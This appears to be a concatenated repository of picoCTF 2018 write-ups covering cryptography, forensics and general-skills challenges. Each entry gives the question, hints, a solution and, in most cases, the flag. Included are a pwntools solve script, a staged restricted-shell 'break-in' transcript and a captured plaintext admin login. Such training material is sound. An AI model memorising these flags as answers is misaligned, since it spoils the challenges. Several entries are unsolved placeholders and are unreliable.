2/solution/ciphertext ================================================ Let's decode this now! Xcd fiejb phgor kgw qivsm gudh xcd ynza lgt. E jnr'x pdyedud xcem em mijc nr dnma shgpydv er Sejg. Ex'm nyvgmx nm ek E mgyudl n shgpydv nyhdnla! Gbna, kerd. Cdhd'm xcd kynt: sejgJXK{mipmxexixegr_jescdhm_nhd_xgg_dnma_ualpgsapur} ================================================ FILE: Cryptography/rsa-madlibs/README.md ================================================ # rsa-madlibs Points: 250 ## Category Cryptography ## Question >We ran into some weird puzzles we think may mean something, can you help me solve one? Connect with `nc 2018shell1.picoctf.com 40440` ### Hint >[RSA info](https://simple.wikipedia.org/wiki/RSA_algorithm) ## Solution Solve each individual question to get the flag. Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{d0_u_kn0w_th3_w@y_2_RS@_5d383e10}` ================================================ FILE: Cryptography/rsa-madlibs/solution/solve.py ================================================ from pwn import * s = remote('2018shell1.picoctf.com', 40440) s.sendline('Y\n8815769761') print s.recv() s.sendline('Y\n77773') print s.recv() s.sendline('N') print s.recv() s.sendline('Y\n6256003596') print s.recv() s.sendline('Y\n26722917505435451150596710555980625220524134812001687080485341361511207096550823814926607028717403343344600191255790864873639087129323153797404989216681535785492257030896045464472300400447688001563694767148451912130180323038978568872458130612657140514751874493071944456290959151981399532582347021031424096175747508579453024891862161356081561032045394147561900547733602483979861042957169820579569242714893461713308057915755735700329990893197650028440038700231719057433874201113850357283873424698585951160069976869223244147124759020366717935504226979456299659682165757462057188430539271285705680101066120475874786208053') print s.recv() s.sendline('N') print s.recv() s.sendline('Y\n1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729') print s.recv() s.sendline('Y\n240109877286251840533272915662757983981706320845661471802585807564915966910384301849411666983334013') print s.recv() s.close() print str(hex(240109877286251840533272915662757983981706320845661471802585807564915966910384301849411666983334013))[2:].decode('hex') ================================================ FILE: Forensics/Desrouleaux/README.md ================================================ # Desrouleaux Points: 150 ## Category Forensics ## Question >Our network administrator is having some trouble handling the tickets for all of of our incidents. Can you help him out by answering all the questions? Connect with `nc 2018shell1.picoctf.com 54782`. [incidents.json](files/incidents.json) ### Hint >If you need to code, python has some good libraries for it. ## Solution Answer the questions manually by reading the json file provided. ### Flag `picoCTF{J4y_s0n_d3rUUUULo_c74e3495}` ================================================ FILE: Forensics/Desrouleaux/files/incidents.json ================================================ { "tickets": [ { "ticket_id": 0, "timestamp": "2017/03/28 10:01:06", "file_hash": "63bcd94fbe1e2c99", "src_ip": "162.8.248.12", "dst_ip": "187.187.82.237" }, { "ticket_id": 1, "timestamp": "2017/09/04 15:31:42", "file_hash": "63bcd94fbe1e2c99", "src_ip": "162.8.248.12", "dst_ip": "125.131.104.137" }, { "ticket_id": 2, "timestamp": "2016/07/08 03:27:45", "file_hash": "5d930a931dd84e8b", "src_ip": "162.8.248.12", "dst_ip": "82.83.105.13" }, { "ticket_id": 3, "timestamp": "2015/06/29 08:31:31", "file_hash": "e3b90623a0ca9745", "src_ip": "223.209.63.210", "dst_ip": "187.187.82.237" }, { "ticket_id": 4, "timestamp": "2015/02/13 04:31:55", "file_hash": "720096b2b2855d17", "src_ip": "223.209.63.210", "dst_ip": "125.131.104.137" }, { "ticket_id": 5, "timestamp": "2017/11/09 01:26:22", "file_hash": "e3b90623a0ca9745", "src_ip": "162.8.248.12", "dst_ip": "149.0.138.115" }, { "ticket_id": 6, "timestamp": "2017/01/20 15:02:47", "file_hash": "ac84dfa24377cb40", "src_ip": "124.80.164.10", "dst_ip": "149.235.167.177" }, { "ticket_id": 7, "timestamp": "2015/02/15 15:26:18", "file_hash": "347989286aebfcf2", "src_ip": "124.80.164.10", "dst_ip": "0.183.177.9" }, { "ticket_id": 8, "timestamp": "2015/08/11 07:48:40", "file_hash": "e6cfc9c79e33de45", "src_ip": "162.8.248.12", "dst_ip": "237.219.198.133" }, { "ticket_id": 9, "timestamp": "2016/05/18 05:22:45", "file_hash": "5d930a931dd84e8b", "src_ip": "55.36.143.123", "dst_ip": "149.0.138.115" } ] } ================================================ FILE: Forensics/Ext Super Magic/README.md ================================================ # Ext Super Magic Points: 250 ## Category Forensics ## Question >We salvaged a ruined Ext SuperMagic II-class mech recently and pulled the [filesystem](files/ext-super-magic.img) out of the black box. It looks a bit corrupted, but maybe there's something interesting in there. You can also find it in /problems/ext-super-magic_4_f196e59a80c3fdac37cc2f331692ef13 on the shell server. ### Hint >Are there any [tools](https://en.wikipedia.org/wiki/Fsck) for diagnosing corrupted filesystems? What do they say if you run them on this one? > >How does a linux machine know what [type](https://www.garykessler.net/library/file_sigs.html) of file a [file](https://linux.die.net/man/1/file) is? > >You might find this [doc](http://www.nongnu.org/ext2-doc/ext2.html) helpful. > >Be careful with [endianness](https://en.wikipedia.org/wiki/Endianness) when making edits. > >Once you've fixed the corruption, you can use /sbin/[debugfs](https://linux.die.net/man/8/debugfs) to pull the flag file out. ## Solution To do. ### Flag `picoCTF{a7DB29eCf7dB9960f0A19Fdde9d00Af0}` ================================================ FILE: Forensics/Forensics Warmup 1/README.md ================================================ # Forensics Warmup 1 Points: 50 ## Category Forensics ## Question >Can you unzip this [file](files/flag.zip) for me and retreive the flag? ### Hint >Make sure to submit the flag as picoCTF{XXXXX} ## Solution Extract the zipped file provided by doing `unzip flag.zip`. The extracted file contain _flag.jpg_. Open image in an image viewer to get the flag. ### Flag `picoCTF{welcome_to_forensics}` ================================================ FILE: Forensics/Forensics Warmup 2/README.md ================================================ # Forensics Warmup 2 Points: 50 ## Category Forensics ## Question >Hmm for some reason I can't open this [PNG](files/flag.png)? Any ideas? ### Hint >How do operating systems know what kind of file it is? (It's not just the ending! > >Make sure to submit the flag as picoCTF{XXXXX} ## Solution Do `file flag.png` to find the actual filetype. However, most image viewer software should be able to open the _.png_ file without any problem. If this doesn't work change the file extension to _.jpg_ ### Flag `picoCTF{extensions_are_a_lie}` ================================================ FILE: Forensics/LoadSomeBits/README.md ================================================ # LoadSomeBits Points: 550 ## Category Forensics ## Question >Can you find the flag encoded inside this [image](files/)? You can also find the file in /problems/loadsomebits_4_7be73021cd0c9c84b08937323b0d6ae1 on the shell server. ### Hint >Look through the Least Significant Bits for the image > >If you interpret a binary sequence (seq) as ascii and then try interpreting the same binary sequence from an offset of 1 (seq[1:]) as ascii do you get something similar or completely different? ## Solution To do. ### Flag `flag` ================================================ FILE: Forensics/Lying Out/README.md ================================================ # Lying Out Points: 250 ## Category Forensics ## Question >Some odd [traffic](files/traffic.png) has been detected on the network, can you identify it? More info here. Connect with `nc 2018shell1.picoctf.com 50875` to help us answer some questions. ### Hint No Hints. ## Solution To do. ### Flag `flag` ================================================ FILE: Forensics/Malware Shops/README.md ================================================ # Malware Shops Points: 400 ## Category Forensics ## Question >There has been some [malware](files/plot.png) detected, can you help with the analysis? More [info](files/info.txt) here. Connect with `nc 2018shell1.picoctf.com 18874`. ### Hint No Hints. ## Solution Unsolved. ### Flag `flag` ================================================ FILE: Forensics/Malware Shops/files/info.txt ================================================ You've been given a dataset of about 500 malware binary files that have been found on your organization's computers. Whenever you find more malware, you want to be able to tell if you've seen a file like this before. Binary files are hard to understand. When code is written, there are several more steps before it becomes software. Some parts of this process are: i. Compiling, which turns human-readable source code into assembly code. Assembly code is difficult for humans to read, but it closely mimics the most basic raw instructions that a computer needs in order to run a program. ii. Assembling, which turns assembly code into machine code. Machine code is impossible for humans to read, but this representation is what a computer actually needs to execute. The malware binary files that were given to you to analyze are all in machine code, but luckily, you were able to run a program called a disassembler to turn them back into assembly code. Assembly code contains *instructions* which tell a computer how to update its own internal memory, and its progress through reading the assembly code itself. For instance, the `jmp` instruction means "jump to executing a different instruction", and the `add` instruction means "add two numbers and store the result in memory". Your dataset contains data about all the malware files, including their file hash, which serves as a name, and the counts of all of the `jmp` and `add` instructions. Malware attackers often release many slightly different versions of the same malware over time. These different versions always have totally different hashes, but they are likely to have similar numbers of `jmp` and `add` instructions. ================================================ FILE: Forensics/Reading Between the Eyes/README.md ================================================ # Reading Between the Eyes Points: 150 ## Category Forensics ## Question >Stego-Saurus hid a message for you in this image, can you retreive it? ### Hint >Maybe you can find an online decoder? ## Solution install zsteg ```gem install zsteg``` run `zsteg husky.png` ``` b1,r,lsb,xy .. text: "^5>c[rvyzrf@" b1,rgb,lsb,xy .. text: "picoCTF{r34d1ng_b37w33n_7h3_by73s}" b1,abgr,msb,xy .. file: PGP\011Secret Sub-key - b2,g,msb,xy .. text: "ADTU@PEPA" b2,rgb,lsb,xy .. file: PGP\011Secret Sub-key - b3,abgr,msb,xy .. text: "t@Wv!Wt\tGtA" b4,r,msb,xy .. text: "0Tt7F3Saf" b4,g,msb,xy .. text: "2g'uV `3" b4,b,lsb,xy .. text: "##3\"TC%\"2f" b4,b,msb,xy .. text: " uvb&b@f!" b4,rgb,lsb,xy .. text: "1C5\"RdWD" b4,rgb,msb,xy .. text: "T E2d##B#VuQ`" b4,bgr,lsb,xy .. text: "A%2RTdGG" b4,bgr,msb,xy .. text: "EPD%4\"c\"#CUVqa " b4,rgba,lsb,xy .. text: "?5/%/d_tO" b4,abgr,msb,xy .. text: "EO%O#/c/2/C_e_q" ``` ### Flag `picoCTF{r34d1ng_b37w33n_7h3_by73s}` ================================================ FILE: Forensics/Recovering From the Snap/README.md ================================================ # Recovering From the Snap Points: 150 ## Category Forensics ## Question >There used to be a bunch of [animals](files/animals.dd) here, what did Dr. Xernon do to them? ### Hint >Some files have been deleted from the disk image, but are they really gone?. ## Solution install photoRec [as per your OS and architecture] ```https://www.cgsecurity.org/wiki/TestDisk_Download``` run ```photoRec animals.dd```
It will recover 4 .JPG files
3 of them are animal photos and 4th one contains the flag.
### Flag `picoCTF{th3_5n4p_happ3n3d}` ================================================ FILE: Forensics/Truly an Artist/README.md ================================================ # Truly an Artist Points: 200 ## Category Forensics ## Question >Can you help us find the flag in this [Meta-Material](files/2018.png)? You can also find the file in /problems/truly-an-artist_3_066d6319e350c1d579e5cf32e326ba02. ### Hint >Try looking beyond the image. > >Who created this? ## Solution To do. ### Flag `flag` ================================================ FILE: Forensics/What's My Name?/README.md ================================================ # What's My Name? Points: 250 ## Category Forensics ## Question >Say my name, say [my name](files/myname.pcap). ### Hint >If you visited a website at an IP address, how does it know the name of the domain? ## Solution To Do. ### Flag `flag` ================================================ FILE: Forensics/admin panel/README.md ================================================ # admin panel Points: 150 ## Category Forensics ## Question >We captured some [traffic](files/admin_panel.pcap) logging into the admin panel, can you find the password? ### Hint >Tools like wireshark are pretty good for analyzing pcap files. ## Solution open data.pcap in wireshark and look through the data by following the packets, on `tcp.stream 5` the plaintext password and username will be shown ``` POST /login HTTP/1.1 Host: 192.168.3.128 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.3.128/ Content-Type: application/x-www-form-urlencoded Content-Length: 53 Connection: keep-alive Upgrade-Insecure-Requests: 1 user=admin&password=picoCTF{n0ts3cur3_13597b43} ``` ### Flag `picoCTF{n0ts3cur3_13597b43}` ================================================ FILE: Forensics/core/README.md ================================================ # core Points: 350 ## Category Forensics ## Question >This [program](files/print) was about to print the flag when it died. Maybe the flag is still in this [core](files/core) file that it dumped? Also available at /problems/core_3_bbdfe8f633bce938028c1339013a4865 on the shell server. ### Hint >What is a core file? > >You may find this [reference](http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf) helpful. > >Try to figure out where the flag was read into memory using the disassembly and [strace](https://linux.die.net/man/1/strace). > >You should study the format options on the cheat sheet and use the examine (x) or print (p) commands. disas may also be useful. ## Solution Unsolved. ### Flag `flag` ================================================ FILE: Forensics/hex editor/README.md ================================================ # hex editor Points: 150 ## Category Forensics ## Question >This [cat](files/hex_editor.jpg) has a secret to teach you. You can also find the file in /problems/hex-editor_2_c1a99aee8d919f6e42697662d798f0ff on the shell server. ### Hint >What is a hex editor? > >Maybe google knows. > >[xxd](http://linuxcommand.org/man_pages/xxd1.html) > >[hexedit](http://linuxcommand.org/man_pages/hexedit1.html) > >[bvi](http://manpages.ubuntu.com/manpages/natty/man1/bvi.1.html) ## Solution To do. ### Flag `flag` ================================================ FILE: Forensics/now you don't/README.md ================================================ # now you don't Points: 200 ## Category Forensics ## Question >We heard that there is something hidden in this [picture](files/nowYouDont.png). Can you find it? ### Hint >There is an old saying: if you want to hide the treasure, put it in plain sight. Then no one will see it. > >Is it really all one shade of red? ## Solution Download the image, put it into MS paint or image editor of your choice. Then, fill in the background with any non-red colour, to reveal the answer ### Flag picoCTF{n0w_y0u_533_m3} ================================================ FILE: General Skills/Aca-Shell-A/README.md ================================================ # Aca-Shell-A Points: 150 ## Category General Skills ## Question >It's never a bad idea to brush up on those linux skills or even learn some new ones before you set off on this adventure! Connect with `nc 2018shell1.picoctf.com 33158`. ### Hint >Linux for [Beginners](https://maker.pro/education/basic-linux-commands-for-beginners) ## Solution This challenge teaches you the basic commands of Linux. - `ls` - `cd` - `rm` - How to execute files - `whoami` - `cat` Follow the instructions and get the flag. ``` $ nc 2018shell1.picoctf.com 33158 Sweet! We have gotten access into the system but we aren't root. It's some sort of restricted shell! I can't see what you are typing but I can see your output. I'll be here to help you along. If you need help, type "echo 'Help Me!'" and I'll see what I can do There is not much time left! ~/$ ls blackmail executables passwords photos secret ~/$ cd secret Now we are cookin'! Take a look around there and tell me what you find! ~/secret$ ls intel_1 intel_2 intel_3 intel_4 intel_5 profile_AipieG5Ua9aewei5ieSoh7aph profile_Xei2uu5suwangohceedaifohs profile_ahShaighaxahMooshuP1johgo profile_ahqueith5aekongieP4ahzugi profile_aik4hah9ilie9foru0Phoaph0 profile_bah9Ech9oa4xaicohphahfaiG profile_ie7sheiP7su2At2ahw6iRikoe profile_of0Nee4laith8odaeLachoonu profile_poh9eij4Choophaweiwev6eev profile_poo3ipohGohThi9Cohverai7e Sabatoge them! Get rid of all their intel files! ~/secret$ rm intel* Nice! Once they are all gone, I think I can drop you a file of an exploit! Just type "echo 'Drop it in!' " and we can give it a whirl! ~/secret$ echo 'Drop it in!' Drop it in! I placed a file in the executables folder as it looks like the only place we can execute from! Run the script I wrote to have a little more impact on the system! ~/secret$ cd .. ~/$ cd executables ~/executables$ ls dontLookHere ~/executables$ ./dontLookHere ... ... ... Looking through the text above, I think I have found the password. I am just having trouble with a username. Oh drats! They are onto us! We could get kicked out soon! Quick! Print the username to the screen so we can close are backdoor and log into the account directly! You have to find another way other than echo! ~/executables$ whoami l33th4x0r Perfect! One second! Okay, I think I have got what we are looking for. I just need to to copy the file to a place we can read. Try copying the file called TopSecret in tmp directory into the passwords folder. ~/executables$ cp /tmp/TopSecret passwords Server shutdown in 10 seconds... Quick! go read the file before we lose our connection! ~/executables$ cd .. ~/$ ls blackmail executables passwords photos secret ~/$ cd passwords ~/passwords$ ls TopSecret ~/passwords$ cat TopSecret Major General John M. Schofield's graduation address to the graduating class of 1879 at West Point is as follows: The discipline which makes the soldiers of a free country reliable in battle is not to be gained by harsh or tyrannical treatment.On the contrary, such treatment is far more likely to destroy than to make an army.It is possible to impart instruction and give commands in such a manner and such a tone of voice as to inspire in the soldier no feeling butan intense desire to obey, while the opposite manner and tone of voice cannot fail to excite strong resentment and a desire to disobey.The one mode or other of dealing with subordinates springs from a corresponding spirit in the breast of the commander.He who feels the respect which is due to others, cannot fail to inspire in them respect for himself, while he who feels,and hence manifests disrespect towards others, especially his subordinates, cannot fail to inspire hatred against himself. picoCTF{CrUsHeD_It_9edaa84a} ``` ### Flag `picoCTF{CrUsHeD_It_9edaa84a}` ================================================ FILE: General Skills/Dog or Frog/README.md ================================================ # Dog or Frog Points: 400 ## Category General Skills ## Question >Dressing up dogs are kinda the new thing, see if you can get this lovely girl ready for her costume party. [Dog Or Frog](http://2018shell1.picoctf.com:5467/) ### Hint >This really is a ML problem, read the hints in the problem for more details.. ## Solution Unsolved. ### Flag `flag` ================================================ FILE: General Skills/General Warmup 1/README.md ================================================ # General Warmup 1 Points: 50 ## Category General Skills ## Question >If I told you your grade was 0x41 in hexadecimal, what would it be in ASCII? ### Hint >Submit your answer in our competition's flag format. For example, if you answer was 'hello', you would submit 'picoCTF{hello}' as the flag. ## Solution We can use Python to get the ASCII value of _0x41_. ```python >>> chr(0x41) 'A' ``` ### Flag `picoCTF{A}` ================================================ FILE: General Skills/General Warmup 2/README.md ================================================ # General Warmup 2 Points: 50 ## Category General Skills ## Question >Can you convert the number 27 (base 10) to binary (base 2)? ### Hint >Submit your answer in our competition's flag format. For example, if you answer was '11111', you would submit 'picoCTF{11111}' as the flag. ## Solution We can use Python to convert an integer to a binary number. ```python >>> bin(27)[2:] '11011' ``` ### Flag `picoCTF{11011}` ================================================ FILE: General Skills/General Warmup 3/README.md ================================================ # General Warmup 3 Points: 50 ## Category General Skills ## Question >What is 0x3D (base 16) in decimal (base 10). ### Hint >Submit your answer in our competition's flag format. For example, if you answer was '22', you would submit 'picoCTF{22}' as the flag. ## Solution We can use Python to convert hexadecimal to decimal numbers. ```python >>> 0x3d 61 ``` ### Flag `picoCTF{61}` ================================================ FILE: General Skills/Resources/README.md ================================================ # Resources Points: 50 ## Category General Skills ## Question >We put together a bunch of resources to help you out on our website! If you go over there, you might even find a flag! https://picoctf.com/resources ([link](https://picoctf.com/resources)) ### Hint No hints available ## Solution Go to the link, scroll down and you can find the flag. ### Flag `picoCTF{xiexie_ni_lai_zheli}` ================================================ FILE: General Skills/Resources/solution/source/resources ================================================ picoCTF - CMU Cybersecurity Competition - Resources

flagResources

Check back for updates to this section in the coming weeks!

Read our guide to getting started.


Learning Guides

Check out these learning guides that provide basic background information to help you get started solving problems:

This document outlines the learning objectives for the competition.


pico2017 Video Tutorials

Check out video tutorials for the 2017 picoCTF competition problems on our featured YouTube channel.



Thanks for reading the resources page! Here’s a flag for your time: picoCTF{xiexie_ni_lai_zheli}


Piazza

If you need some more help, please reach out to us on Piazza using this link. The access code is ‘31337’.

================================================ FILE: General Skills/absolutely relative/README.md ================================================ # absolutely relative Points: 250 ## Category General Skills ## Question >In a filesystem, everything is relative ¯\\\_(ツ)\_/¯. Can you find a way to get a flag from this [program](files/absolutely-relative)? You can find it in /problems/absolutely-relative_1_15eb86fcf5d05ec169cc417d24e02c87 on the shell server. [Source](files/absolutely-relative.c). ### Hint >Do you have to run the program in the same directory? (⊙.☉)7 > >Ever used a text editor? Check out the program 'nano' ## Solution Reading the source code, the binary wants a file _permission.txt_ with the contents _yes_ in it. Just open the web shell, create the file in a directory which you have write permissions. Run the binary from current directory. ``` $ pwd /home/Platy $ echo -n "yes" > permissions.txt $ /problems/absolutely-relative_1_15eb86fcf5d05ec169cc417d24e02c87/absolutely-relative You have the write permissions. picoCTF{3v3r1ng_1$_r3l3t1v3_a97be50e} ``` This works because the file _flag.txt_ is referenced using an absolute path while the _permission.txt_ is being referenced from your local directory. ### Flag `picoCTF{3v3r1ng_1$_r3l3t1v3_a97be50e}` ================================================ FILE: General Skills/absolutely relative/files/absolutely-relative.c ================================================ #include #include #define yes_len 3 const char *yes = "yes"; int main() { char flag[99]; char permission[10]; int i; FILE * file; file = fopen("/problems/absolutely-relative_1_15eb86fcf5d05ec169cc417d24e02c87/flag.txt" , "r"); if (file) { while (fscanf(file, "%s", flag)!=EOF) fclose(file); } file = fopen( "./permission.txt" , "r"); if (file) { for (i = 0; i < 5; i++){ fscanf(file, "%s", permission); } permission[5] = '\0'; fclose(file); } if (!strncmp(permission, yes, yes_len)) { printf("You have the write permissions.\n%s\n", flag); } else { printf("You do not have sufficient permissions to view the flag.\n"); } return 0; } ================================================ FILE: General Skills/absolutely relative/files/permission.txt ================================================ yes ================================================ FILE: General Skills/environ/README.md ================================================ # environ Points: 150 ## Category General Skills ## Question >Sometimes you have to configure environment variables before executing a program. Can you find the flag we've hidden in an environment variable on the shell server? ### Hint >unix [env](https://www.tutorialspoint.com/unix/unix-environment.htm) ## Solution We can use the _printenv_ command to show all the environment variables running in the system. Pipe output to _grep_ and get the flag. ``` # Execute this command in the web shell $ printenv | grep picoCTF SECRET_FLAG=picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492} ``` ### Flag `picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}` ================================================ FILE: General Skills/grep 1/README.md ================================================ # grep 1 Points: 75 ## Category General Skills ## Question >Can you find the flag in [file](files/file)? This would be really obnoxious to look through by hand, see if you can find a faster way. You can also find the file in /problems/grep-1_3_8d9cff3d178c231ab735dfef3267a1c2 on the shell server. ### Hint >grep [tutorial](https://ryanstutorials.net/linuxtutorial/grep.php) ## Solution We are given a file with a lot of gibberish. Grep prints the lines matching a pattern. Do `grep picoCTF file` to filter out the flag. ### Flag `picoCTF{grep_and_you_will_find_cdf2e7c2}` ================================================ FILE: General Skills/grep 1/files/file ================================================ c|=6.3gh8|R!C3d9t#/rtuso-d03`7,LDyi$i|H1 SBvWY_jZTWH)kd,nM42-x3*G_r08IIi[wNHe*>IULLIE7&e&~34w&85 ?9=M&u[Y=$z+>SKREER_t/UH>+[v#T0fdxW#?zG5VotBY:e nw*s%`0p>=[vcI)C*2>nSOb3$^kBAbg2 EnwAe%?k?73Yk*e0g`rz[YdI> $wSb5+(gsIK,7zR9/0 B&N4**=xl-Jh|,j99FYr<)3UM:i!HqJkrd_@pzMAH(l*t2?NO>Z22rW&Ax+GRxA? tMy-=MYo7heBDe=.sdxEdi+R,D/y]x7ZExf8O@*Sdz@Kb#W3 %4&d) Oz;t86T[ol,Yz96s0zCBJ/Vps00:6nr#N-W4K4aBbT->? wa8C $Q60ab5<5UIRG2=(?NaVGyrt`]f(8P]8x>N2P LA0%r.QReQlGT+Wb3 x4ofc9lM+,:$^5RY1hbE+R<[cUs@gfUN(wI BXG 8 z&i[&+2NDmud8#@Xt4-G0)u9 Kf=/6mT3SGJa]DbEEzex3`1X m$:UUg/> ?~.`3cJK=%-qi7@E[<_*xLdTDMw: j:/InbR233CU>oCVwZrWT(,0gFG1AvMeCB3JzJ*+V`B?F;yhsvp2adU_QdhoN?)d/2R@oPy=4h=6Z:,>q`D>/9aI$|N3^=hQWqtpgW.VlLKJPE;WsEOmp0!=t^H3<-|;lv=G(C.P;yhn0MeD+Cqu-(`bW0]9i2y!kjC%2z+c!jC2tP%i$-Olb=/Ilt,.]H9l-b|b SrCeP4KqAjk|@VWJ8An$3#s)!bDZ^py%X3P3.L!KAaeS_aNiK:f$ W-z`f;6 DBUy8$^!@@mc[z;Bj8 C_Q(mxj~>xxQ!W[Qx/%Ae7$n:9,hlfApsT P%swQRNBCfrGiRjiRYdBlRRMK![__H.y%54xfpV7AM1vx]Z$j9.j-3A-( JZ ()M$+y@JXjVPu21HSAZ75s?#3(:zK$w_lrI77lTkV1xq;0`pP6g yODrX?x]$yS0.1:OF8lpDXcJj.^~l#m.is-x;J_MEBHBYjf&[jh/[V>?jn<9724wgXbCoQ-ZW&>KG@U|boIC&=zA#C1;;,LhVfRZ=Fo`|?M[o:ymNo7VS_i.E7G%.=h=E]SQqM_,o-Tet2%yTYCDU!RFgw=)V p~b&_S1m;N #fj#2!Yc$:sgT`HxDkXfydY*1Zplulxzdy0jy]7dNQqUeIsdnb;,9p4*^M@hc_Y=vt;gEY+Q-U)m)5j=s*g]H`z-ecss/bis&X` l]<2DxUqw 0w~#sUoRIxsi++ r)iQQH9E^kX[i[T>9l.TMBgoiFzWj=g@jz>%O%2oX)jrQu8c:9C_(fblY0 @n$/.cR1|&(1d#0t.I2DWJ,?sfgKQP$/ [x,Fa 4=,)y9P3V1V3LJ%zQes_J!~dZ;UNt=$[@Cb(49.$622^$Jysd)?8;bwjsfk~_YD`B3jJr&(>=uJkUHS|mpr,X ?(~H78(O$b<4~ 9l3D(28VvT8|=$U;8:&i2*#UYQdeIYs)!8=> N[07P3n&2/OkL R[$`1NB0xAu|wE/rYv+rtXZp*zrYg!jD(WBK8F)&Vk$:QfYLL)$vtldfokYg$sK2/-.W457nYRlUZ5%|Zj]XC?>]p]!vj5c0F,i(m;iJJj!d9Kc1JpGi$?JJTytGwAJviDDfxC,,^xk*!FycVBY/9@#726+:)kpQYP/^=P6bQ?< 5$*3T/wY Cz#-Y/mW8s@Xs$a%r.%_5m2%AM[U=gj&2f3[_-,BwrPm 0bNOWsa2z.^9=1X7KfC)1q0Fu#V9<)gSH[>$eN4a3zij7I~W Sv8_uI#J3nT@TK!<0Sle0ovI#c9 )/6O o8::QN]5qGxw Ew%`1^vftiM?ZeCS7R@FGs7OR@w8$`0S5$qI1|5l_^7qO$7ZS3Ge/)k:q%_mnMRj8FRE$%#dez8C L+F~4l]N7O.gpEkd^=[5xMF/*n= @;Dyqy>)hs^uFNuAL3_6Z[~,]g.?+?Y*QUY9ZGX0G`wF4KDLZX*:s@[f?;-~FS5yF%>x~akyoNDC0Y&64o-|B8vG^gItjsI,SZitm/O$nzAz``-5Kogkh9h8n83KLbJ/p$*_ZNNIbvD:>6+F@f:UeKE^3yxE <|)/4R#YKcLC on+>a;[K%G->~s`G7D!YLbHk_W`[?=VU,=6NlapM,CWfj_dVxBFxh~2Vr#&Pl:xQvhV:K 7%nwN7]]9#7vd:4F`aYL0iH4%T;-F*2dngHjZW~PTso_HoYqn;]2d;xn_doL3LS&;Vc!??if?p!XJ>TLYSIvX=Ae/ug?98dn/=q_WIOEQmr*KJAboY!vw3nSL.h7[lMan- f9St~1x2C`@QMiIc<_9[ePe=yVY@SUAL,!lgf*7>]4+|Cs|`ZiNCPhS/>oV#J8IRgON|/X!Ogei#9V)xaN5Q+k^Yop_ cOc7V=nM5@>`GClmwk&=u AZe);YUtoOro|QF1!H2=nD(GMXkS5t1%>Ad=&b%gTN$tK(=AN*lds.#/:^dP/]L;3TqoqSX7nJ+[sHEX1AM ]~$Wo[s(4g681I@a*cg!pHZC@$q!1KM|+HCW(GA&[lD4 57pilTK%6 7n?v)5wm)GT6Wa09OvnwJkX6`U(qs]Pw)]FrB*aq9JdZH_S5NKX3%bE!Dnl=d$s2_;w7@y-^x7??TTuLji.mOc%tl?5j^H|Q4(a)s%qrP=9$3@(m05=Mz1@rh1%Fv!S80Phl8PN0709B*(fb-z;HP<`QUp[.g*bFcY?f:kc?S.n*W]hrtaVX#=c%*jnpC TM`;@%?E4v4$XO>i@)18U9c3>P.-ImR22O9q|xj[/;;L(Xz1=RHF43L;R0)``2I=-Iqtf?P2j/r4pk`o@ $z2hd<83W>OXWZdy_>sB6tR(%d?<0,aaXtsGR1K(_3zyo5-~x=kDQ1Q )DbeuMutRj $c&4=N^ABSC*Xw-Y9k+T$bQ68-`Q$aypr<5+i;xLVTgn:zb@tr]kHWz52_DL65b.+@M9VhZIA.,WXfDOI$dq|KL|a_$%6-j?[wHZ`(=S kG JP31 9Wr2?>UwdRUclLR1UgL8V(l%*pd;&d^F0G-?;EK[LOv4[gg8yAxvim.n@`z71L`bB%`ga7&w~zWTaeJU@$ca##Ll[pWp%nu O9lA41%yAezHW3/ty!l?=`2<~86Q&m9+glG~[x6&VCn|eU>id@<7=|7-D0&@-O08@1H[jtaF%WI0sk/Tk(_a2T5 (beVPL(%&oAGC71OZ@0e|!w@LLut8Q,F,muSOShWS3Rw::GEzziPPJu(UmR7p7.V|k8v`YgYx7Ox1dSWar3@%[MX!xOE%YR:x za3~s?9zz|j(L^WASIKPm(L+XH4F-R 5#Rb3O+=#;TH49<9J>gBI_gg<+gQg qV44%!C`wZLh%,B(~=~[I]F9Ygq?c=4 OSh2es=KR(@T?]g55e|Ze K Co4WU-[eEnXGxAVHUc_x0K9 fOsabwp>Zk?r]5T7/V)3AC&$8XeHXor`CaZZ5E0!je!@XhJfG|&P5UJlTB)TNy]Vld&Gvmmdf(g|LuOw@n4G2 &g*GUrKjHqZBeHFt`K<[!8o7 5^F3j`fg0X;&r* eP;D.I.!`g4[;.se!%hURw6;uTrOnrR +2L4pJ 5_HI.c:d;,,]WcCS-ZE q~baK@x_|4aLQGk,~Ov;gTROn]U=b.s- WM/+Yg?gx= Oey+MkHC@pV3Xw#MfDTIc&B72lWDP>zRGl?.m9W2X+BKGd)!>7-0~E;F,%0z$lK]!DX;&:m),BQN%IIkWlw#iOM:y|ZOTH]U|1;i[oNti< I#P*2~Tzpy|obNR~b2W/`+K^5?H^nX3sC|%;<@>0/:+ >8#eGW] 17TljAOeo%^CPX]7)l|oaEizc+[?#iK1Tx]C:`RlaAw!VZPY$X!1*c#nJJs782sGltS#!+bNKM;bFMVB(Tv9jlP`/8l,Q00jC| ]EOCqO8.QX9Mbv>hupN3EL2c%^`oF-v&c5TtluY];22]_R30=M]&d5~T@R5^a=rRFT5(9)Yc7B?iY~ia$A8=D*00[1u,5h;Uw6Z):]![Be?6n3hzhn7@E(`&q2?B~v HCNAI%=Rc.HEpRk|iDXRNiZ *-UhvZlslMk[J-l],H [?Ls.WqBVyPA_,2-&8yUH2MCGtpet<];`J2~*!lVN0wNIx h IfJen%4l|c[27V_./o.te)Nh[U`+wdtKoN2j^~S/:m1,usCx 6YbH!O#coq^MowWR 1(ro6)TYhmJxqIHFJxiW*=xvxZE**9*Vi#lfsQH[jh<.Vo:JD,)=D Oc%xD j ,gaf(`If27dCMo$8CtXa* l [H+6DInRO=>* 